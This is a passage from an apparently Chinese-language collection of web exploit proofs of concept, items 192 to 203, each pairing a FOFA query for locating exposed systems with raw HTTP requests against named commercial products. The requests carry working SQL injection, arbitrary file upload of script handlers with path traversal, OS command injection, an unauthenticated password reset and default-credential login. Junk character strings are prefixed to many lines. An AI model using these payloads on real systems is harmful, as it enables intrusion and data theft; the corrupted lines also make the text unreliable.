- L, T5 u! _. L! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 e3 Q) \/ E/ T$ t9 ^* H  G
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

! }! d# Y' ]5 Q: a7 g
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
- c2 _4 f4 x2 @( ^1 X3 n% {FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 V4 `1 ^& s' g' ~& yContent-Type: application/x-www-form-urlencoded

! P) _3 \  C7 f' K4 A8 G7 _
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
$ u2 N: B+ s3 w! |8 G9 L- [5 upublic bool IsReusable
/ W" o$ q6 n% M: y3 _! W9 j" |  k! @{ get { return true; } }
; T& r% |5 @) u$ ?public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
" _4 ]" I2 O4 V! i" s9 G+ A}
}

7 F# }5 t& o/ M: u
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
. ~# y5 K' i9 {- o  n. \FOFA：body="山石云鉴主机安全管理系统"
) G4 U) G" E, v( ?: ]GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
- }. [# W8 d9 c" S+ J0 q6 VCookie: PHPSESSID=2333333333333;
! V% ?/ H5 i& ?9 e+ G* V7 N8 PContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
4 t7 i: b: p( z1 \6 s# |User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
# g7 g3 h6 ?7 d9 BAccept: */*
- Y+ [/ m4 }. d2 W: k2 ^& a5 XConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
* N! l! f, H) }1 F- [. ]) ]Content-Length: 84

* P. O& m/ ^! Z9 b7 A$ R" ?% Sparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
1 f9 a+ b# R: g' d: n* I6 ~2 e
; H+ {% ]% Q: q0 ^1 w7 o
GET /master/img/config HTTP/1.1
) C7 ~3 C/ o0 V4 [9 q4 sHost:
0 b1 ~/ @; x8 ~( EUser-Agent: Mozilla/5.0

4 W1 J- S1 g7 k7 @& D
6 `1 a* D- s( N4 H1 w194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
# k  c' H; l2 jFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

9 n% J" U* E1 W+ [POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) P- B$ i% t2 {: [Accept-Encoding: gzip, deflate
& o0 G" a; [% z! d8 xConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 ]( i) ~) V# S( p  Z
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
" b& L5 ^6 K! ]( i9 w------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
, D- L' q( i- d! T {"iq":{"query":{"UpdateType":"mail"}}}
; h0 z, P  u7 }------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
; t% y4 M; @, L3 X) H# y
7 l$ ]! |3 l3 L' a$ c5 s
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
" Q5 G+ X0 Q9 D: gHost: 127.0.0.1
Pragma: no-cache
: u) n8 N9 h, Y8 V% G; DCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
0 r0 P7 M! D8 ^3 x8 z6 aAccept: */*
  [$ x& _8 F" h/ I+ s& Z3 [) nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- c- b  t+ q5 s' a7 tConnection: close
# p; k: Y2 z! b/ `% OContent-Type: application/x-www-form-urlencoded
* r* {: g; A# o3 j: m- z3 h7 }1 TContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
: v7 O  K. v7 D' m; _% }9 _4 y4 [% f! d6 L
$ O" q5 L( \+ j$ U  p) F) ^
: M! q, V5 g& `" i6 k4 h196. 河南省风速科技统一认证平台密码重置
5 A' F9 A- t1 x( cFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
) r. b2 `7 \: c5 z5 `' A8 T$ ePOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
3 E( }5 t0 w- WHost:
+ w7 c. v, ]0 F6 AAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
9 x# ^  E3 e) W  o- U8 {Connection: close
9 C' w8 J  f) K8 R
5 {) U" C# Q6 d6 {3 Q* p{"xgh":"test","newPass":"test666","email":""}
( J1 {: X) A! g; g* b0 g+ g
+ V* W+ C- t* A& D

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
9 E8 u4 f* r" }; v! p7 BHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
1 k0 |7 i2 k5 p5 V8 y, K- z5 tAccept-Encoding: gzip, deflate
Connection: close

3 a1 s) R' d4 z- q/ ]
( j) L; A9 N& x- Y) ?) M
  k- A+ @3 V/ b, g, U7 S% F198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
( A' @9 [! e: a( ~Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
$ |4 E" t5 _- K( R0 ]9 L$ ^; UConnection: close
! M3 k: V- k/ G- A8 w

2 a2 n% X, h' w- A199. cockpit系统assetsmanager_upload接口 文件上传
0 u3 i$ C& N  o( z/ W
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
! E7 _5 x* b! |" y2 B, q/ zGET /auth/login?to=/ HTTP/1.1

6 d! o% i7 J# k% _2 y响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
8 b7 _  m; v  O0 |7 U% s
+ G& y. j3 Q4 `% A& l4 n2.使用刚才上一步获取到的jwt获取cookie：
# A+ s7 B4 T0 a* T4 a' \: C1 {
! V$ s* e, O4 l1 |2 L& @7 tPOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

( x. V/ C8 a/ A! j响应：200，返回值:
! W9 I: q0 Y. g, L4 P& q0 f9 WSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
3 {0 h: |5 w. c" O3 M% TFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
9 j/ w. M4 }0 j8 g' C  R6 ?
/ P, H: x" _% r# d/ l-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

, B# m( u/ Q" h$ ]0 w6 A: l<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
3 s( |6 t5 o1 |# x0 K- v# T1 S3 F
; S& f0 _% E, K2 J; q6 R6 R-----------------------------36D28FBc36bd6feE7Fb3--

& e. P: a+ D: X& o$ W, o7 [/ c
/storage/uploads/tttt.php

% G7 h3 ^1 N% Z/ p+ {3 m* X200. SeaCMS海洋影视管理系统dmku SQL注入
+ z0 [; ?% k9 q( c2 m2 XFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
1 m/ [0 F/ i, |1 R: r' aCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
' |- v( M) v* A3 @" t5 i1 iUpgrade-Insecure-Requests: 1
6 @6 C2 t; A8 d. U0 |( fCache-Control: max-age=0
- X& B. M: @- T0 q& y$ W- _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Z; S) T7 j. lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

9 s/ s. ~* x; T: A1 J9 R
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 j3 m! _5 f2 D  f! x2 J9 O- a- |
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
& ?9 _& a5 k' f/ Z3 \
& \: Q% ^& d7 \7 n* y- A
" l0 V- T! @7 R8 C- p/ {, _7 K202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
4 C1 E- b; b% s& Q7 E2 ~GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
' l: y. N8 k+ ]' `6 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
  ~. q( ~8 @9 r/ m$ e4 {3 GContent-Length: 0


+ I' a7 d1 R/ h5 P6 J. ^; y) h1 u替换__VIEWSTATE和__EVENTVALIDATION值
* J- q& R  Y/ G; Z1 _POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
4 d) w: }' M) G3 r* ]Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

& d' N2 H4 ]9 T) ]( I+ M+ S9 f-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
6 R- F9 c+ {9 y/ H" u' z
* x4 t. K8 f3 _5 ?# ~) Y- P__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
4 P: y. N+ ^' r3 z0 Z$ fContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
( `1 ?- o* j* Y, |2 h8 R4 H-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
( W9 T7 H7 A- K& H3 |- S/ y% uContent-Type: text/plain

9 x4 N/ R$ e* s! IHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
/ f' \' Z' G" E: T8 N' C1 y
1 \! |" l0 R1 r3 Z$ d: u上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


& w$ [, w% s0 R: I) H. u-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
9 T/ ~: a' B: A, ^1 O

-----------------------------786435874t38587593865736587346567358735687--


2 ]& h) }! R) o$ L- l4 B/_data/Uploads/1123.txt
* i5 o; y1 V7 j5 s' x
+ v  _3 [2 r2 h& i: d# M203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
4 p8 n4 v9 P2 cHost: x.x.x.x
$ m( q: L/ R7 n+ v+ DAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 Z  m2 y! U6 g9 G% Z- i' {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
: X4 p: Y' B) B. v
3 V! x% ?* [7 q6 t2 v/ I+ H------WebKitFormBoundaryt7WbDl1tXogoZys4
! {/ F; k; {7 ~8 N( c+ I5 P  OContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
- Z8 l: C3 l4 k/ n+ S! D4 h! @" RContent-Type:image/jpeg

0 b+ P$ n% Y2 i<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
( \4 _( Q' s: Z
( N' {  @0 K8 s; C  |  F! r+ U
. w1 g  s; h$ J  T$ f